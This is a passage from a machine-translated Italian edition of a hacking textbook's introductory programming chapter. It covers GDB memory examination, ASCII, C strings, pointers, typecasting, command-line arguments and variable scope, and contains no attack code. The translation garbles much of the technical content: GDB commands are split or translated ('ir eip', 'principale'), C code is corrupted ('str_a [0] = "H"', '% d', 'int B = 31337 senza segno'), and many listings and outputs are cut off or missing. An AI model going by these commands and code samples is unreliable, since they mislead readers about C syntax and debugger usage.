registro info eip può essere abbreviato in solo ir eip .
(gdb) ir eip
eip 0x8048384 0x8048384 <principale + 16>
(gdb) x / o 0x8048384
0x8048384 <principale + 16>: 077042707
(gdb) x / x $ eip
0x8048384 <principale + 16>: 0x00fc45c7
(gdb) x / u $ eip
0x8048384 <principale + 16>: 16532935
(gdb) x / t $ eip
0x8048384 <principale + 16>: 00000000111111000100010111000111
(gdb)
(gdb) x / 2x $ eip
0x8048384 <principale + 16>: 0x00fc45c7 0x83000000
(gdb) x / 12x $ eip
0x8048384 <principale + 16>: 0x00fc45c7 0x83000000 0x7e09fc7d 0xc713eb02
0x8048394 <principale + 32>: 0x84842404 0x01e80804 0x8dffffff 0x00fffc45
0x80483a4 <principale + 48>: 0xc3c9e5eb 0x90909090 0x90909090 0x5de58955
(gdb)
La dimensione predefinita di una singola unità è un'unità di quattro byte chiamata parola . La dimensione
delle unità di visualizzazione per il comando e x amine possono essere modificate aggiungendo a
lettera di dimensioni alla fine della lettera di formato. Le lettere di dimensioni valide sono le seguenti:
b Un singolo byte
h Una mezza parola, che ha una dimensione di due byte
w Una parola, che ha una dimensione di quattro byte
g Un gigante, che ha una dimensione di otto byte
28 0x200
Pagina 43
Questo crea un po 'di confusione, perché a volte il termine parola si riferisce anche a
Valori a 2 byte. In questo caso una doppia parola o DWORD si riferisce a un valore di 4 byte. In questo
libro, parole e DWORD si riferiscono entrambi a valori a 4 byte. Se sto parlando di un file
Valore di 2 byte, lo chiamerò una parola corta o una mezza parola. Il seguente output di GDB mostra
memoria visualizzata in varie dimensioni.
Programmazione 29
Pagina 44
I primi quattro byte vengono visualizzati sia in formato esadecimale che standard senza segno
notazione decimale. Un programma di calcolo della riga di comando chiamato bc viene utilizzato per mostrare
che se i byte vengono interpretati nell'ordine errato, un orribilmente errato
il valore di 3343252480 è il risultato. L'ordine dei byte di una data architettura è un file
dettaglio importante di cui essere a conoscenza. Mentre la maggior parte degli strumenti di debug e dei compilatori
si prenderà cura dei dettagli dell'ordine dei byte automaticamente, eventualmente lo farai tu
manipola direttamente la memoria da solo.
Oltre a convertire l'ordine dei byte, GDB può eseguire altre conversioni con
il comando e x ammina. Abbiamo già visto che GDB può smontare la macchina
istruzioni in lingua in istruzioni di assemblaggio leggibili dall'uomo. La e x ammina
Il comando accetta anche il formato lettera i , abbreviazione di istruzione , per visualizzare il file
memoria come istruzioni smontate in linguaggio assembly.
Nell'output sopra, il programma a.out viene eseguito in GDB, con un punto di interruzione
impostato su main (). Poiché il registro EIP punta alla memoria che effettivamente con-
contiene istruzioni in linguaggio macchina, si smontano abbastanza bene.
Il precedente disassemblaggio di objdump conferma che l'EIP a sette byte è
indicando in realtà sono il linguaggio macchina per l'assembly corrispondente
istruzione.
30 0x200
Pagina 45
variabile i per il ciclo for. Se quella memoria viene esaminata adesso, lo farà
non contengono altro che spazzatura casuale. La memoria in questa posizione può essere
esaminato in diversi modi.
(gdb) ir ebp
ebp 0xbffff808 0xbffff808
(gdb) x / 4xb $ ebp - 4
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) x / 4xb 0xbffff804
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) print $ ebp - 4
$ 1 = (void *) 0xbffff804
(gdb) x / 4xb $ 1
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) x / xw $ 1
0xbffff804: 0x080483c0
(gdb)
(gdb) nexti
0x0804838b 6 per (i = 0; i <10; i ++)
(gdb) x / 4xb $ 1
0xbffff804: 0x00 0x00 0x00 0x00
(gdb) x / dw $ 1
0xbffff804: 0
(gdb) ir eip
eip 0x804838b 0x804838b <principale + 23>
(gdb) x / i $ eip
0x804838b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
(gdb)
Programmazione 31
Pagina 46
(gdb) nexti
0x0804838f 6 per (i = 0; i <10; i ++)
(gdb) x / i $ eip
0x804838f <main + 27>: jle 0x8048393 <main + 31>
(gdb) nexti
8 printf ("Ciao, mondo! \ n");
(gdb) ir eip
eip 0x8048393 0x8048393 <principale + 31>
(gdb) x / 2i $ eip
0x8048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb)
32 0x200
Pagina 47
(gdb) ir esp
esp 0xbffff800 0xbffff800
(gdb)
Attualmente, ESP punta all'indirizzo di memoria 0xbffff800 , quindi quando il file mov
viene eseguita l'istruzione, qui viene scritto l'indirizzo 0x8048484 . Ma perché? Cosa c'è
così speciale per l'indirizzo di memoria 0x8048484 ? C'è un modo per scoprirlo.
Tabella ASCII
Programmazione 33
Pagina 48
022 18 12 DC2 122 82 52 R
023 19 13 DC3 123 83 53 S
024 20 14 DC4 124 84 54 T
025 21 15 NAK 125 85 55 U
026 22 16 SYN 126 86 56 V
027 23 17 ETB 127 87 57 W.
030 24 18 CAN 130 88 58 X
031 25 19 EM 131 89 59 Y
032 26 1A SUB 132 90 5A Z
033 27 1B ESC 133 91 5B [
034 28 1C FS 134 92 5C \ '\\'
035 29 1D GS 135 93 5D]
036 30 1E RS 136 94 5E ^
037 31 1F US 137 95 5F _
040 32 20 SPAZIO 140 96 60 "
041 33 21! 141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25% 145101 65 e
046 38 26 e 146102 66 segg
047 39 27 » 147103 67 gr
050 40 28 ( 150104 68 h
051 41 29) 151 105 69 i
052 42 2A * 152106 6A j
053 43 2B + 153107 6B k
054 44 2C, 154108 6C l
055 45 2D - 155109 6D m
056 46 2E. 156 110 6E n
057 47 2F / 157111 6F o
060 48 30 0 160112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165117 75 u
066 54 36 6 166118 76 v
067 55 37 7 167 119 77 sett
070 56 38 8 170120 78 x
071 57 39 9 171 121 79 a
072 58 3A: 172 122 7A z
073 59 3B; 173 123 7B {
074 60 3C < 174 124 7C |
075 61 3D = 175 125 7D}
076 62 3E> 176 126 7E ~
077 63 3F? 177127 7F DEL
Per fortuna, il comando e x amine di GDB contiene anche disposizioni per la ricerca
in questo tipo di memoria. La lettera in formato c può essere utilizzata automaticamente
cerca un byte nella tabella ASCII e la lettera in formato s mostrerà un
intera stringa di dati carattere.
34 0x200
Pagina 49
Questi comandi rivelano che la stringa di dati "Hello, world! \ N" è memorizzata in
indirizzo di memoria 0x8048484 . Questa stringa è l'argomento per il printf () funziona-
zione, che indica che lo spostamento dell'indirizzo di questa stringa all'indirizzo
memorizzato in ESP ( 0x8048484 ) ha qualcosa a che fare con questa funzione. Il seguente
l'output mostra l'indirizzo della stringa di dati che viene spostato nell'indirizzo ESP
puntando a.
(gdb) x / 2i $ eip
0x8048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb) x / xw $ esp
0xbffff800: 0xb8000ce0
(gdb) nexti
0x0804839a 8 printf ("Ciao, mondo! \ n");
(gdb) x / xw $ esp
0xbffff800: 0x08048484
(gdb)
(gdb) x / i $ eip
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb) nexti
Ciao mondo!
6 per (i = 0; i <10; i ++)
(gdb)
Continuando a utilizzare GDB per eseguire il debug, esaminiamo le due istruzioni successive.
Ancora una volta, hanno più senso guardarli in gruppo.
(gdb) x / 2i $ eip
0x804839f <main + 43>: lea eax, [ebp-4]
0x80483a2 <main + 46>: incl DWORD PTR [eax]
(gdb)
Pagina 50
(gdb) x / i $ eip
0x804839f <main + 43>: lea eax, [ebp-4]
(gdb) print $ ebp - 4
$ 2 = (void *) 0xbffff804
(gdb) x / x $ 2
0xbffff804: 0x00000000
(gdb) ir eax
eax 0xd 13
(gdb) nexti
0x080483a2 6 per (i = 0; i <10; i ++)
(gdb) ir eax
eax 0xbffff804 -1073743868
(gdb) x / xw $ eax
0xbffff804: 0x00000000
(gdb) x / dw $ eax
0xbffff804: 0
(gdb)
(gdb) x / i $ eip
0x80483a2 <main + 46>: incl DWORD PTR [eax]
(gdb) x / dw $ eax
0xbffff804: 0
(gdb) nexti
0x080483a4 6 per (i = 0; i <10; i ++)
(gdb) x / dw $ eax
0xbffff804: 1
(gdb)
(gdb) x / i $ eip
0x80483a4 <main + 48>: jmp 0x804838b <main + 23>
(gdb)
36 0x200
Pagina 51
Programmazione 37
Pagina 52
0x261 stringhe
Il valore "Hello, world! \ N" passato alla funzione printf () nel precedente
il programma è una stringa, tecnicamente un array di caratteri. In C, un array è semplicemente un file
elenco di n elementi di un tipo di dati specifico. Un array di 20 caratteri è semplicemente 20
caratteri adiacenti situati in memoria. Gli array vengono anche chiamati buffer .
Il programma char_array.c è un esempio di array di caratteri.
char_array.c
#include <stdio.h>
int main ()
{
char str_a [20];
str_a [0] = "H";
str_a [1] = "e";
str_a [2] = 'l';
str_a [3] = 'l';
str_a [4] = 'o';
str_a [5] = ',';
str_a [6] = '';
str_a [7] = 'w';
str_a [8] = 'o';
str_a [9] = 'r';
str_a [10] = 'l';
str_a [11] = 'd';
str_a [12] = '!';
str_a [13] = '\ n';
str_a [14] = 0;
printf (str_a);
}
Al compilatore GCC può anche essere data l' opzione -o per definire l'output
file in cui compilare. Questa opzione viene utilizzata di seguito per compilare il programma in un file
binario eseguibile chiamato char_array .
38 0x200
Pagina 53
alla fine viene utilizzato come carattere delimitatore per indicare qualsiasi funzione che sta trattando
con la stringa per interrompere le operazioni proprio lì. I byte aggiuntivi rimanenti sono
solo spazzatura e verrà ignorato. Se viene inserito un byte nullo nel quinto elemento
dell'array di caratteri, solo i caratteri Hello verrebbero stampati dal
.
funzione printf ()
Dal momento che impostare ogni personaggio in un array di caratteri è meticoloso e
le stringhe vengono utilizzate abbastanza spesso, è stato creato un insieme di funzioni standard per le stringhe
manipolazione. Ad esempio, la funzione strcpy () copierà una stringa da un file
source a una destinazione, iterando attraverso la stringa di origine e copiando ciascuna
byte alla destinazione (e fermandosi dopo aver copiato il byte di terminazione nullo).
L'ordine degli argomenti della funzione è simile alla sintassi dell'assembly Intel:
destinazione prima e poi origine. Il programma char_array.c può essere riscritto
usando strcpy () per ottenere la stessa cosa usando la libreria di stringhe. Il
la prossima versione del programma char_array mostrato di seguito include string.h da allora
utilizza una funzione stringa.
char_array2.c
#include <stdio.h>
#include <string.h>
int main () {
char str_a [20];
Programmazione 39
Pagina 54
Quando il programma viene eseguito, il punto di interruzione strcpy () viene risolto. A ciascuno
punto di interruzione, esamineremo EIP e le istruzioni a cui punta. Avviso
che la posizione di memoria per EIP nel punto di interruzione centrale è diversa.
(gdb) esegui
Avvio del programma: / home / reader / booksrc / char_array2
Breakpoint 4 a 0xb7f076f4
In attesa del punto di interruzione "strcpy" risolto
40 0x200
Pagina 55
L'indirizzo in EIP al punto di interruzione centrale è diverso perché il file
il codice per la funzione strcpy () proviene da una libreria caricata. In effetti, il file
il debugger mostra EIP per il punto di interruzione centrale nella funzione strcpy () ,
mentre EIP agli altri due breakpoint è nella funzione main () . mi piacerebbe
sottolineare che PEI è in grado di viaggiare dal codice principale al strcpy) ( codice
e di nuovo indietro. Ogni volta che viene chiamata una funzione, viene mantenuto un record su un dato
struttura chiamata semplicemente stack. Lo stack consente a EIP di tornare a lungo
catene di chiamate di funzioni. In GDB, il comando bt può essere utilizzato per risalire al file
pila. Nell'output di seguito, il backtrace dello stack viene mostrato in ogni punto di interruzione.
(gdb) esegui
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: / home / reader / booksrc / char_array2
Errore nel ripristino del punto di interruzione 4:
Funzione "strcpy" non definita.
Programmazione 41
Pagina 56
essere solo in una delle 2 32 possibili combinazioni di bit. Ciò consente il segno a 32 bit
numeri interi da Г2.147.483.648 a 2.147.483.647. Essenzialmente, uno dei
il bit è un flag che segna il valore positivo o negativo. Valori con segno positivo
hanno lo stesso aspetto dei valori senza segno, ma i numeri negativi vengono memorizzati in modo diverso
utilizzando un metodo chiamato complemento a due. Il complemento di due rappresenta neg-
numeri attivi in una forma adatta per sommatori binari, quando un valore negativo in
il complemento a due viene aggiunto a un numero positivo della stessa grandezza, il
il risultato sarà 0. Questo viene fatto scrivendo prima il numero positivo in binario, quindi
invertendo tutti i bit e infine aggiungendo 1. Sembra strano, ma funziona e
consente di aggiungere numeri negativi in combinazione con numeri positivi
utilizzando semplici sommatori binari.
Questo può essere esplorato rapidamente su scala ridotta utilizzando pcalc , un semplice file
calcolatrice del programmatore che visualizza i risultati in formato decimale, esadecimale e
formati binari. Per semplicità, in questo esempio vengono utilizzati numeri a 8 bit.
In primo luogo, il valore binario 01001001 è positivo 73. Quindi tutti i file
i bit vengono capovolti e 1 viene aggiunto per ottenere il complemento a due
zione per 73 negativo, 10110111. Quando questi due valori vengono sommati,
il risultato degli 8 bit originali è 0. Il programma pcalc mostra il valore 256
perché non sa che abbiamo a che fare solo con valori a 8 bit. In un binario
sommatore, quel pezzo di trasporto verrebbe semplicemente gettato via perché la fine del
la memoria di abile sarebbe stata raggiunta. Questo esempio potrebbe farne a meno
luce su come il complemento a due funziona la sua magia.
In C, le variabili possono essere dichiarate come senza segno semplicemente anteponendo il
parola chiave non firmata per la dichiarazione. Verrà dichiarato un numero intero senza segno
con int senza segno . Inoltre, la dimensione delle variabili numeriche può essere estesa
o abbreviato aggiungendo le parole chiave long o short . Le dimensioni effettive varieranno
a seconda dell'architettura per la quale viene compilato il codice. Il linguaggio di C
fornisce una macro chiamata sizeof () che può determinare la dimensione di alcuni dati
tipi. Funziona come una funzione che accetta un tipo di dati come input e restituisce
la dimensione di una variabile dichiarata con quel tipo di dati per l'architettura di destinazione.
Il programma datatype_sizes.c esplora le dimensioni di vari tipi di dati, utilizzando
la funzione sizeof () .
datatype_sizes.c
#include <stdio.h>
int main () {
printf ("Il tipo di dati 'int' è \ t \ t% d byte \ n", sizeof (int));
42 0x200
Pagina 57
printf ("Il tipo di dati 'unsigned int' è \ t% d byte \ n", sizeof (unsigned int));
printf ("Il tipo di dati 'short int' è \ t% d byte \ n", sizeof (short int));
printf ("Il tipo di dati 'long int' è \ t% d byte \ n", sizeof (long int));
printf ("Il tipo di dati 'long long int' è% d byte \ n", sizeof (long long int));
printf ("Il tipo di dati 'float' è \ t% d byte \ n", sizeof (float));
printf ("Il tipo di dati" char "è \ t \ t% d byte \ n", sizeof (char));
}
Come affermato in precedenza, sia gli interi con segno che quelli senza segno sono quattro byte in formato
dimensione sull'architettura x 86. Un float è anche di quattro byte, mentre un char ha solo bisogno
un singolo byte. Le parole chiave lunghe e brevi possono essere utilizzate anche con virgola mobile
variabili per estendere e accorciare le loro dimensioni.
Puntatori 0x263
Il registro EIP è un puntatore che "punta" all'istruzione corrente durante a
l'esecuzione del programma contenendo il suo indirizzo di memoria. L'idea dei puntatori
è usato anche in C. Poiché la memoria fisica non può essere effettivamente spostata, il file
le informazioni in esso contenute devono essere copiate. Può essere molto costoso dal punto di vista computazionale
copiare grossi blocchi di memoria per essere utilizzati da funzioni diverse o in
posti ent. Questo è anche costoso dal punto di vista della memoria, poiché lo spazio per
la nuova copia di destinazione deve essere salvata o allocata prima di poterla salvare
copiato. I puntatori sono una soluzione a questo problema. Invece di copiare un file
blocco di memoria, è molto più semplice passare l'indirizzo dell'inizio
ning di quel blocco di memoria.
I puntatori in C possono essere definiti e utilizzati come qualsiasi altro tipo di variabile.
Poiché la memoria sull'architettura x 86 utilizza l'indirizzamento a 32 bit, i puntatori lo sono
anche 32 bit di dimensione (4 byte). I puntatori sono definiti anteponendo un asterisco ( * )
al nome della variabile. Invece di definire una variabile di quel tipo, un puntatore è
definito come qualcosa che punta a dati di quel tipo. Il programma pointer.c
è un esempio di un puntatore utilizzato con il tipo di dati char , che è solo
1 byte di dimensione.
Programmazione 43
Pagina 58
pointer.c
#include <stdio.h>
#include <string.h>
int main () {
char str_a [20]; // Una matrice di caratteri di 20 elementi
char * pointer; // Un puntatore, pensato per un array di caratteri
char * pointer2; // E ancora un altro
44 0x200
Pagina 59
Quando il puntatore viene esaminato come una stringa, è evidente che il dato
stringa è presente e si trova all'indirizzo di memoria 0xbffff7e0 . Ricordati che
la stringa stessa non è memorizzata nella variabile pointer, solo l'indirizzo di memoria
0xbffff7e0è memorizzato lì.
Per vedere i dati effettivi memorizzati nella variabile pointer, è necessario
utilizzare l'indirizzo dell'operatore. L'operatore address-of è un operatore unario ,
il che significa semplicemente che opera su un singolo argomento. Questo operatore è giusto
una e commerciale ( & ) anteposta al nome di una variabile. Quando viene utilizzato, l'indirizzo
di quella variabile viene restituito, invece della variabile stessa. Questo operatore esiste
sia in GDB che nel linguaggio di programmazione C.
(gdb) x / xw e puntatore
0xbffff7dc: 0xbffff7e0
(gdb) stampa e puntatore
$ 1 = (char **) 0xbffff7dc
(gdb) puntatore di stampa
$ 2 = 0xbffff7e0 "Ciao mondo! \ N"
(gdb)
Programmazione 45
Pagina 60
addressof.c
#include <stdio.h>
int main () {
int int_var = 5;
int * int_ptr;
Come al solito, viene impostato un punto di interruzione e il programma viene eseguito nel file
debugger. A questo punto la maggior parte del programma è stata eseguita. Il primo
Il comando print mostra il valore di int_var e il secondo mostra il suo indirizzo
utilizzando l'indirizzo dell'operatore. I prossimi due comandi di stampa lo mostrano
int_ptr contiene l'indirizzo di int_var e mostrano anche l'indirizzo di
l'INT_PTR per buona misura.
46 0x200
Pagina 61
addressof2.c
#include <stdio.h>
int main () {
int int_var = 5;
int * int_ptr;
printf ("int_var si trova a 0x% 08x e contiene% d \ n", & int_var, int_var);
printf ("int_ptr si trova a 0x% 08x, contiene 0x% 08x e punta a% d \ n \ n",
& int_ptr, int_ptr, * int_ptr);
}
Quando gli operatori unari vengono utilizzati con i puntatori, l'indirizzo di oper-
ator può essere pensato come un movimento all'indietro, mentre l'operatore di dereferenziazione
si sposta in avanti nella direzione in cui punta il puntatore.
Programmazione 47
Pagina 62
%d Decimale
%X Esadecimale
%S Corda
fmt_strings.c
#include <stdio.h>
int main () {
stringa di caratteri [10];
int A = -73;
int B = 31337 senza segno;
48 0x200
Pagina 63
Programmazione 49
Pagina 64
input.c
#include <stdio.h>
#include <string.h>
int main () {
messaggio char [10];
int count, i;
In input.c, la funzione scanf () viene utilizzata per impostare la variabile count . Il risultato
di seguito ne viene illustrato l'utilizzo.
50 0x200
Pagina 65
7 - Ciao mondo!
8 - Ciao mondo!
9 - Ciao mondo!
10 - Ciao mondo!
11 - Ciao mondo!
lettore @ hacking: ~ / booksrc $
Le stringhe di formato vengono utilizzate abbastanza spesso, quindi la familiarità con esse è preziosa.
Inoltre, la capacità di produrre i valori delle variabili consente il debug in
il programma, senza l'uso di un debugger. Avere una qualche forma di immediato
il feedback è abbastanza vitale per il processo di apprendimento dell'hacker e qualcosa come
semplice come stampare il valore di una variabile può consentire un sacco di sfruttamento.
0x265 Typecasting
Typecasting è semplicemente un modo per modificare temporaneamente il tipo di dati di una variabile, nonostante
come era originariamente definito. Quando una variabile viene trasformata in un file
type, al compilatore viene sostanzialmente detto di trattare quella variabile come se fosse il file
nuovo tipo di dati, ma solo per tale operazione. La sintassi per il typecasting è
come segue:
(typecast_data_type) variabile
Può essere utilizzato quando si tratta di numeri interi e variabili a virgola mobile,
come dimostra typecasting.c.
typecasting.c
#include <stdio.h>
int main () {
int a, b;
float c, d;
a = 13;
b = 5;
Programmazione 51
Pagina 66
Come discusso in precedenza, la divisione dell'intero 13 per 5 verrà arrotondata per difetto a
risposta errata di 2, anche se questo valore viene memorizzato in una virgola mobile
variabile. Tuttavia, se queste variabili intere vengono convertite in float, lo faranno
essere trattato come tale. Ciò consente il calcolo corretto di 2.6.
Questo esempio è illustrativo, ma dove il typecasting brilla davvero è quando esso
viene utilizzato con le variabili puntatore. Anche se un puntatore è solo un indirizzo di memoria,
il compilatore C richiede ancora un tipo di dati per ogni puntatore. Una ragione per
questo per cercare di limitare gli errori di programmazione. Un puntatore intero dovrebbe solo
punta a dati interi, mentre un puntatore a caratteri dovrebbe puntare solo a caratteri
dati degli attori. Un altro motivo è per l'aritmetica dei puntatori. Un numero intero è quattro byte
di dimensione, mentre un carattere occupa solo un singolo byte. Il programma pointer_types.c
gram dimostrerà e spiegherà ulteriormente questi concetti. Questo codice utilizza l'estensione
formattare il parametro % p per visualizzare gli indirizzi di memoria. Questa è una scorciatoia
per visualizzare i puntatori ed è sostanzialmente equivalente a 0x% 08x .
pointer_types.c
#include <stdio.h>
int main () {
int i;
char * char_pointer;
int * int_pointer;
char_pointer = char_array;
int_pointer = int_array;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il numero intero% d \ n",
int_pointer, * int_pointer);
int_pointer = int_pointer + 1;
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
printf ("[char pointer] punta a% p, che contiene il carattere '% c' \ n",
char_pointer, * char_pointer);
char_pointer = char_pointer + 1;
}
}
In questo codice sono definiti due array in memoria, uno contenente un numero intero
dati e l'altro contenente dati carattere. Sono inoltre definiti due puntatori,
uno con il tipo di dati intero e uno con il tipo di dati carattere, e loro
sono impostati in modo che puntino all'inizio delle matrici di dati corrispondenti. Due separati per
esegue un'iterazione tra gli array utilizzando l'aritmetica del puntatore per regolare il puntatore
per puntare al valore successivo. Nei cicli, quando i valori intero e carattere
52 0x200
Pagina 67
pointer_types2.c
#include <stdio.h>
int main () {
int i;
char * char_pointer;
int * int_pointer;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il carattere '% c' \ n",
int_pointer, * int_pointer);
int_pointer = int_pointer + 1;
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
Programmazione 53
Pagina 68
54 0x200
Pagina 69
pointer_types3.c
#include <stdio.h>
int main () {
int i;
char char_array [5] = {'a', 'b', 'c', 'd', 'e'};
int int_array [5] = {1, 2, 3, 4, 5};
char * char_pointer;
int * int_pointer;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il carattere '% c' \ n",
int_pointer, * int_pointer);
int_pointer = (int *) ((char *) int_pointer + 1);
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
printf ("[char pointer] punta a% p, che contiene il numero intero% d \ n",
char_pointer, * char_pointer);
char_pointer = (char *) ((int *) char_pointer + 1);
}
}
In questo codice, quando i puntatori vengono inizialmente impostati, i dati vengono convertiti in typecast
il tipo di dati del puntatore. Ciò impedirà al compilatore C di lamentarsi
sui tipi di dati in conflitto; tuttavia, qualsiasi aritmetica del puntatore sarà ancora
sbagliato. Per risolvere questo problema, quando viene aggiunto 1 ai puntatori, devono prima essere digitati
cast nel tipo di dati corretto in modo che l'indirizzo venga incrementato dal corretto
quantità. Quindi questo puntatore deve essere reinserito nei dati del puntatore
digitare ancora una volta. Non sembra troppo carino, ma funziona.
Programmazione 55
Pagina 70
Naturalmente, è molto più semplice utilizzare il tipo di dati corretto per i puntatori
innanzitutto; tuttavia, a volte si desidera un puntatore generico e senza tipo.
In C, un puntatore void è un puntatore senza tipo, definito dalla parola chiave void .
Sperimentare con i puntatori void rivela rapidamente alcune cose sul senza tipo
puntatori. Primo, i puntatori non possono essere dereferenziati a meno che non abbiano un tipo.
Per recuperare il valore memorizzato nell'indirizzo di memoria del puntatore, il file
il compilatore deve prima sapere di che tipo di dati si tratta. In secondo luogo, i puntatori void devono
essere anche typecast prima di eseguire l'aritmetica del puntatore. Questi sono abbastanza intuitivi
limitazioni, il che significa che lo scopo principale di un puntatore vuoto è semplicemente tenere
un indirizzo di memoria.
Il programma pointer_types3.c può essere modificato per utilizzare un singolo void
puntatore digitandolo al tipo corretto ogni volta che viene utilizzato. Il compilatore
sa che un puntatore void è senza tipo, quindi qualsiasi tipo di puntatore può essere memorizzato in un file
void pointer senza typecasting. Ciò significa anche che un puntatore void deve sempre
essere typecast quando si dereferenzia esso, tuttavia. Queste differenze possono essere viste in
pointer_types4.c, che utilizza un puntatore void.
pointer_types4.c
#include <stdio.h>
int main () {
int i;
void * void_pointer;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[char pointer] punta a% p, che contiene il carattere '% c' \ n",
void_pointer, * ((char *) void_pointer));
void_pointer = (void *) ((char *) void_pointer + 1);
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il numero intero% d \ n",
void_pointer, * ((int *) void_pointer));
void_pointer = (void *) ((int *) void_pointer + 1);
}
}
56 0x200
Pagina 71
pointer_types5.c
#include <stdio.h>
int main () {
int i;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[hacky_nonpointer] punta a% p, che contiene il carattere '% c' \ n",
hacky_nonpointer, * ((char *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof (char);
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[hacky_nonpointer] punta a% p, che contiene il numero intero% d \ n",
hacky_nonpointer, * ((int *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof (int);
}
}
Programmazione 57
Pagina 72
Questo è piuttosto complicato, ma poiché questo valore intero è typecast nel file
tipi di puntatori appropriati quando viene assegnato e dereferenziato, il risultato finale è
lo stesso. Si noti che invece di digitare più volte per eseguire il puntatore
aritmetica su un intero senza segno (che non è nemmeno un puntatore), la sizeof ()
viene utilizzata per ottenere lo stesso risultato utilizzando la normale aritmetica.
commandline.c
#include <stdio.h>
int main (int arg_count, char * arg_list []) {
int i;
printf ("Sono stati forniti% d argomenti: \ n", arg_count);
for (i = 0; i <arg_count; i ++)
printf ("argomento #% d \ t- \ t% s \ n", i, arg_list [i]);
}
58 0x200
Pagina 73
convert.c
#include <stdio.h>
Programmazione 59
Pagina 74
convert2.c
#include <stdio.h>
Quando al programma non vengono forniti abbastanza argomenti della riga di comando, continua a farlo
cerca di accedere agli elementi dell'array di argomenti, anche se non esistono.
Ciò provoca l'arresto anomalo del programma a causa di un errore di segmentazione.
La memoria è suddivisa in segmenti (di cui parleremo più avanti) e alcuni
gli indirizzi di memoria non sono entro i confini dei segmenti di memoria
il programma ha accesso a. Quando il programma tenta di accedere a un indirizzo
che è fuori dai limiti, si bloccherà e morirà in quello che viene chiamato un errore di segmentazione .
Questo effetto può essere esplorato ulteriormente con GDB.
60 0x200
Pagina 75
Il programma viene eseguito con un singolo argomento della riga di comando test
all'interno di GDB, che causa l'arresto anomalo del programma. Il comando where lo farà
a volte mostrano un utile backtrace dello stack; tuttavia, in questo caso, il file
lo stack è stato distrutto troppo gravemente durante l'incidente. Un punto di interruzione è impostato su principale e
il programma viene rieseguito per ottenere il valore del vettore argomento (mostrato in
grassetto). Poiché il vettore dell'argomento è un puntatore a un elenco di stringhe, in realtà è un file
puntatore a un elenco di puntatori. Utilizzando il comando x / 3xw per esaminare il primo
tre indirizzi di memoria memorizzati nell'indirizzo del vettore dell'argomento lo mostrano
sono essi stessi puntatori a stringhe. Il primo è l'argomento zero,
il secondo è l' argomento del test e il terzo è zero, che è fuori limite.
Quando il programma tenta di accedere a questo indirizzo di memoria, si blocca con un file
errore di segmentazione.
Programmazione 61
Pagina 76
scope c
#include <stdio.h>
void func3 () {
int i = 11;
printf ("\ t \ t \ t [in func3] i =% d \ n", i);
}
void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i =% d \ n", i);
func3 ();
printf ("\ t \ t [torna in func2] i =% d \ n", i);
}
void func1 () {
int i = 5;
printf ("\ t [in func1] i =% d \ n", i);
func2 ();
printf ("\ t [torna in func1] i =% d \ n", i);
}
int main () {
int i = 3;
printf ("[in main] i =% d \ n", i);
func1 ();
printf ("[torna in main] i =% d \ n", i);
}
62 0x200
Pagina 77
scope2.c
#include <stdio.h>
void func3 () {
int i = 11, j = 999; // Qui, j è una variabile locale di func3 ().
printf ("\ t \ t \ t [in func3] i =% d, j =% d \ n", i, j);
}
void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i =% d, j =% d \ n", i, j);
printf ("\ t \ t [in func2] impostazione j = 1337 \ n");
j = 1337; // Scrivendo a j
func3 ();
printf ("\ t \ t [torna in func2] i =% d, j =% d \ n", i, j);
}
void func1 () {
int i = 5;
printf ("\ t [in func1] i =% d, j =% d \ n", i, j);
func2 ();
printf ("\ t [torna in func1] i =% d, j =% d \ n", i, j);
}
int main () {
int i = 3;
printf ("[in main] i =% d, j =% d \ n", i, j);
func1 ();
printf ("[torna in main] i =% d, j =% d \ n", i, j);
}
Programmazione 63
Pagina 78
[in func1] i = 5, j = 42
[in func2] i = 7, j = 42
[in func2] impostazione j = 1337
[in func3] i = 11, j = 999
[torna in func2] i = 7, j = 1337
[di nuovo in func1] i = 5, j = 1337
[di nuovo in main] i = 3, j = 1337
lettore @ hacking: ~ / booksrc $
scope3.c
#include <stdio.h>
void func3 () {
int i = 11, j = 999; // Qui, j è una variabile locale di func3 ().
printf ("\ t \ t \ t [in func3] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t \ t [in func3] j @ 0x% 08x =% d \ n", & j, j);
}
void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t [in func2] j @ 0x% 08x =% d \ n", & j, j);
printf ("\ t \ t [in func2] impostazione j = 1337 \ n");
j = 1337; // Scrivendo a j
func3 ();
printf ("\ t \ t [torna in func2] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t [torna in func2] j @ 0x% 08x =% d \ n", & j, j);
}
void func1 () {
